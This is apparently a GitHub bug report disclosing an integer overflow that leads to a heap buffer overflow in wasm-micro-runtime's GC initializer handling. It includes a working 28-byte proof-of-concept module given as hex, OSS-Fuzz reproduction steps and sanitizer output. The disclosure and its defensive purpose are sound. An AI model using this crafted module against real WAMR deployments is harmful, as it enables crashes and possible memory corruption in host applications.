Skip to content

Integer overflow in array.new length handling leads to heap buffer overflow in wasm-micro-runtime [BUG] #4942

@srberard

Description

@srberard

Summary

A crafted WebAssembly module can trigger a heap buffer overflow write during module loading in WAMR when GC support is enabled (WAMR_BUILD_GC=1). This leads to memory corruption in the host process (crash, and potentially code execution depending on heap layout).

This was validated against: https://github.com/bytecodealliance/wasm-micro-runtime @ 9d1dc3e (oss-fuzz builder image, 2026-03-09)

This issue was initially reported by @kevin-valerio to the WAMR team. Thank you for your contribution!

Details and PoC

The issue is in core/iwasm/interpreter/wasm_loader.c when handling the GC opcode array.new inside an initializer expression (load_init_expr). The array length is popped as a signed i32, but is cast to uint64 and used directly in allocation-size arithmetic:

size = sizeof(WASMArrayNewInitValues) + sizeof(WASMValue) * (uint64)len_val.i32;

If the length is -1, the cast produces 0xFFFFFFFFFFFFFFFF, the multiplication wraps, and the final size becomes 8. loader_malloc(8) allocates 8 bytes, but pop_const_expr_stack() later writes a full 16-byte WASMValue into the allocated buffer, overflowing by 8 bytes.

A minimal PoC (28 bytes) that reproduces the crash under ASAN:

python3 - <<'PY'
open('poc.wasm', 'wb').write(bytes.fromhex(
  '0061736d010000000104015e7f01060c01630001412a417ffb06000b'
))
PY

Reproduction with OSS-Fuzz (requires enabling GC in the WAMR build; in the WAMR source, tests/fuzz/wasm-mutator-fuzz/wasm-mutator/CMakeLists.txt defaults WAMR_BUILD_GC to 0):

git clone https://github.com/google/oss-fuzz.git
cd oss-fuzz

# Enable GC in the WAMR fuzz build:
#   edit the WAMR source so `WAMR_BUILD_GC` is set to 1

python3 infra/helper.py build_fuzzers --sanitizer address wamr
python3 infra/helper.py reproduce wamr wamr_fuzz_classic_interp poc.wasm

Expected result: ASAN reports a heap-buffer-overflow WRITE of size 16 in pop_const_expr_stack at core/iwasm/interpreter/wasm_loader.c:636.

We have attached a zip containing:

  • Full technical details of each finding
  • Reproduction steps and proof-of-concept where applicable
  • Candidate patch(es) with regression tests

Sanitizer output

=================================================================
==1680==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7be6d35e00d8 at pc 0x55dcf325599e bp 0x7ffc9d8b01c0 sp 0x7ffc9d8af980
WRITE of size 16 at 0x7be6d35e00d8 thread T0
    #0 0x55dcf325599d in __asan_memcpy /src/llvm-project/compiler-rt/lib/asan/asan_interceptors_memintrinsics.cpp:63:3
    #1 0x55dcf338fdf2 in pop_const_expr_stack /src/wamr/core/iwasm/interpreter/wasm_loader.c:636:31
    #2 0x55dcf338ea53 in load_init_expr /src/wamr/core/iwasm/interpreter/wasm_loader.c:1342:38
    #3 0x55dcf336e1fb in load_global_section /src/wamr/core/iwasm/interpreter/wasm_loader.c:4355:18
    #4 0x55dcf336e1fb in load_from_sections /src/wamr/core/iwasm/interpreter/wasm_loader.c:6348:22
    #5 0x55dcf337670a in load /src/wamr/core/iwasm/interpreter/wasm_loader.c:7058:13
    #6 0x55dcf337670a in wasm_loader_load /src/wamr/core/iwasm/interpreter/wasm_loader.c:7235:10
    #7 0x55dcf329f70e in wasm_runtime_load_ex /src/wamr/core/iwasm/common/wasm_runtime_common.c:1515:33
    #8 0x55dcf329facb in wasm_runtime_load /src/wamr/core/iwasm/common/wasm_runtime_common.c:1568:12
    #9 0x55dcf329baac in LLVMFuzzerTestOneInput /src/wamr/tests/fuzz/wasm-mutator-fuzz/wasm-mutator/wasm_mutator_fuzz.cc:24:28

0x7be6d35e00d8 is located 0 bytes after 8-byte region [0x7be6d35e00d0,0x7be6d35e00d8)
allocated by thread T0 here:
    #0 0x55dcf3257c54 in malloc /src/llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:67:3
    #1 0x55dcf3378fcd in loader_malloc /src/wamr/core/iwasm/interpreter/wasm_loader.c:345:39
    #2 0x55dcf338e9e7 in load_init_expr /src/wamr/core/iwasm/interpreter/wasm_loader.c:1334:59
    #3 0x55dcf336e1fb in load_global_section /src/wamr/core/iwasm/interpreter/wasm_loader.c:4355:18

Impact

Any application embedding WAMR and loading attacker-controlled (or semi-trusted) WebAssembly modules is impacted if GC support is enabled. At minimum, this allows denial of service via a reliable process crash during module loading. Because this is a controlled heap out-of-bounds write, exploitation beyond a crash may be possible in some deployments depending on allocator behavior and heap layout.

Bug discovery context

Anthropic is conducting research into the use of large language models for automated vulnerability discovery in open source software. As part of that work, Anthropic used Claude to scan a set of widely used open source projects for security issues. Anthropic then engaged Trail of Bits to independently triage, manually validate, and develop patches for the findings. Each issue in this report has been reviewed and confirmed by human security researchers at Trail of Bits.

Thank you for your work on wasm-micro-runtime.

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't working

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions